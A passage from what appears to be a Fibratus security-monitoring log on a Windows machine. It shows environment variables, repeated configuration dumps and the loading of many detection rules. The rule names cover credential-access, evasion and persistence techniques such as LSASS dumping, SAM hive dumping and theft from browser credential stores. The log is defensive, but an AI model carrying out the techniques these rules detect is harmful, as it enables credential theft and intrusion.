Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-11T16:39:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:39:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:39:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:41:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:41:59+01:00 level=info msg=bootstrapping with pid 15336. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:41:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false enable-threadpool=>false enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true enable-vamap=>true enable-handle=>false buffer-size=>512 enable-image=>true flush-interval=>1s stack-enrichment=>true enable-net=>true enable-thread=>true enable-registry=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 level=>info max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s timeout=>5s enabled=>false healthcheck-interval=>10s template-name=>fibratus healthcheck=>true gzip-compression=>false index-name=>fibratus trace-log=>false bulk-workers=>1] amqp=>[ url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic durable=>false routing-key=>fibratus delivery-mode=>transient passive=>false timeout=>5s enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false] http=>[ endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false fastscan=>true skip-registry=>false enabled=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:41:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:42:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:42:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:42:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:42:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:44:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:44:25+01:00 level=info msg=bootstrapping with pid 8568. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:44:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true flush-interval=>1s enable-mem=>false enable-dns=>false enable-threadpool=>false enable-audit-api=>true enable-image=>true min-buffers=>16 enable-thread=>true buffer-size=>512 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-net=>true enable-registry=>true enable-handle=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false endpoints=>[] enable-gzip=>false method=>POST serializer=>json] elasticsearch=>[ gzip-compression=>false trace-log=>false index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s enabled=>false sniff=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus bulk-workers=>1] amqp=>[ exchange-type=>topic delivery-mode=>transient vhost=>/ url=>amqp://localhost:5672 passive=>false durable=>false exchange=>fibratus routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] excluded-procs=>[] skip-allocs=>false skip-files=>false skip-mmaps=>false fastscan=>true enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:44:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:44:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:44:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:44:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:44:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:45:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:45:13+01:00 level=info msg=bootstrapping with pid 9132. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:45:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-threadpool=>false enable-handle=>false enable-mem=>false enable-image=>true enable-audit-api=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true flush-interval=>1s enable-registry=>true stack-enrichment=>true buffer-size=>512 enable-dns=>false max-buffers=>36 min-buffers=>16 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-age=>0 max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ durable=>false routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ exchange-type=>topic enabled=>false passive=>false exchange=>fibratus] http=>[ method=>POST tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json enable-gzip=>false endpoints=>[]] elasticsearch=>[ template-name=>fibratus index-name=>fibratus healthcheck=>true bulk-workers=>1 timeout=>5s flush-period=>1s healthcheck-interval=>10s gzip-compression=>false healthcheck-timeout=>5s sniff=>false enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200]]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-files=>[] skip-files=>false fastscan=>true excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:45:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:45:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:57:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:57:05+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:57:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:18:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:18:08+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:18:08+01:00 level=info msg=bootstrapping with pid 17080. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:18:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true flush-interval=>1s enable-threadpool=>false enable-thread=>true enable-registry=>true stack-enrichment=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true min-buffers=>16 enable-fileio=>true max-buffers=>36 enable-mem=>false enable-vamap=>true enable-net=>true enable-handle=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-age=>0 max-size=>100 formatter=>text] + output ......................... [ http=>[ enabled=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json enable-gzip=>false method=>POST] 